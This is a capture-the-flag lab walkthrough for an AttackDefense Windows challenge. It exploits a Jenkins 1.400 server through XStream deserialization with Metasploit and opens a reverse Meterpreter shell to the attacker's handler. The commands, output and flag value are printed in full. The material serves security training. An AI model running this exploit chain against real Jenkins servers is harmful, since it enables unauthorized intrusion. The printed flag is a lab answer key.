

[illegible]

<b>Name</b>	Windows: CI Server II
<b>URL</b>	<a href="https://attackdefense.com/challengedetails?cid=2202">https://attackdefense.com/challengedetails?cid=2202</a>
<b>Type</b>	Basic Exploitation: With Metasploit

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Checking the target IP address.

**Note:** The target IP address is stored in the “target” file.

**Command:** cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.26.17
root@attackdefense:~# █
```

**Step 2:** Run a Nmap scan against the target IP.

**Command:** nmap 10.0.26.17

```

root@attackdefense:~# nmap 10.0.26.17
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-05 10:04 IST
Nmap scan report for ip-10-0-26-17.ap-southeast-1.compute.internal (10.0.26.17)
Host is up (0.0015s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
8009/tcp   open  ajp13
8080/tcp   open  http-proxy
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds
root@attackdefense:~#

```

**Step 3:** We have discovered that multiple ports are open. Access port 8080 using firefox browser.

**Command:** firefox 10.0.26.17:8080

Dashboard [Jenkins] - Mozilla Firefox

Dashboard [Jenkins] x +

10.0.26.17:8080 220%

# Jenkins

search ?

Jenkins ENABLE AUTO REFRESH

[New Job](#)

[Manage Jenkins](#)

[People](#)

[Build History](#)

Welcome to Jenkins! Please [create new jobs](#) to get started. [add description](#)

**Build Queue**

No builds in the queue.

**Build Executor Status**

#	Status
1	Idle
2	Idle

Page generated: Jan 5, 2021 4:35:25 AM [Jenkins ver. 1.400](#)

/root/Desktop/target LXTerminal Dashboard... a Firefox 1 2 3 4 10:07

**Step 4:** Target is running a Jenkins Server 1.400. We will search for the exploit module for Jenkins1.400 using searchsploit.

**Command:** searchsploit jenkins 1.400

```
root@attackdefense:~# searchsploit jenkins 1.400
-----
Exploit Title
-----
Jenkins < 1.650 - Java Deserialization
Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy
-----
Shellcodes: No Results
Papers: No Results
root@attackdefense:~#
```

**Step 5:** The target is vulnerable to deserialization vulnerability. Exploiting the target server using the Metasploit XStream groovy classpath deserialization exploit module.

**Commands:**

```
msfconsole -q
use exploit/multi/http/jenkins_xstream_deserialize
set RHOSTS 10.0.26.17
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 5
exploit
```



```

root@attackdefense:~# msfconsole -q
msf6 > use exploit/multi/http/jenkins_xstream_deserialize
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/jenkins_xstream_deserialize) > set RHOSTS 10.0.26.17
RHOSTS => 10.0.26.17
msf6 exploit(multi/http/jenkins_xstream_deserialize) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/jenkins_xstream_deserialize) > set TARGET 5
TARGET => 5
msf6 exploit(multi/http/jenkins_xstream_deserialize) > exploit

[*] Started reverse TCP handler on 10.10.1.2:4444
[*] Command Stager progress - 2.05% done (2046/99626 bytes)
[*] Command Stager progress - 4.11% done (4092/99626 bytes)
[*] Command Stager progress - 6.16% done (6138/99626 bytes)
[*] Command Stager progress - 8.21% done (8184/99626 bytes)
[*] Command Stager progress - 10.27% done (10230/99626 bytes)
[*] Command Stager progress - 12.32% done (12276/99626 bytes)
[*] Command Stager progress - 14.38% done (14322/99626 bytes)
[*] Command Stager progress - 16.43% done (16368/99626 bytes)
[*] Command Stager progress - 18.48% done (18414/99626 bytes)
[*] Command Stager progress - 20.54% done (20460/99626 bytes)
[*] Command Stager progress - 22.59% done (22506/99626 bytes)
[*] Command Stager progress - 24.64% done (24552/99626 bytes)

[*] Command Stager progress - 90.36% done (90024/99626 bytes)
[*] Command Stager progress - 92.42% done (92070/99626 bytes)
[*] Command Stager progress - 94.47% done (94116/99626 bytes)
[*] Command Stager progress - 96.52% done (96162/99626 bytes)
[*] Command Stager progress - 98.58% done (98208/99626 bytes)
[*] Command Stager progress - 100.00% done (99626/99626 bytes)
[*] Waiting for exploit to complete...
[*] Sending stage (175174 bytes) to 10.0.26.17
[*] Meterpreter session 1 opened (10.10.1.2:4444 -> 10.0.26.17:49203)

meterpreter > 

```

We have successfully exploited the target Jenkins server and received a meterpreter shell.

**Step 6:** Read the flag.

#### Commands:

```

shell
dir
type flag.txt

```

```
meterpreter > shell
Process 2980 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is AEDF-99BD

Directory of C:\

12/29/2020  05:19 AM                32 flag.txt
09/06/2020  09:39 PM          36,615,268 jenkins.war
08/22/2013  03:52 PM         <DIR>      PerfLogs
09/16/2020  06:10 AM         <DIR>      Program Files
09/16/2020  06:09 AM         <DIR>      Program Files (x86)
09/10/2020  09:50 AM         <DIR>      Users
01/05/2021  04:46 AM         <DIR>      Windows
               2 File(s)          36,615,300 bytes
               5 Dir(s)    8,609,316,864 bytes free

C:\>type flag.txt
type flag.txt
b64d5d6272ad441018327fca77cd1136
C:\>
```

This reveals the flag to us.

**Flag:** b64d5d6272ad441018327fca77cd1136

#### References:

1. Jenkins (<https://www.jenkins.io/>)
2. Metasploit Module  
([https://www.rapid7.com/db/modules/exploit/multi/http/jenkins\\_xstream\\_deserialize/](https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_xstream_deserialize/))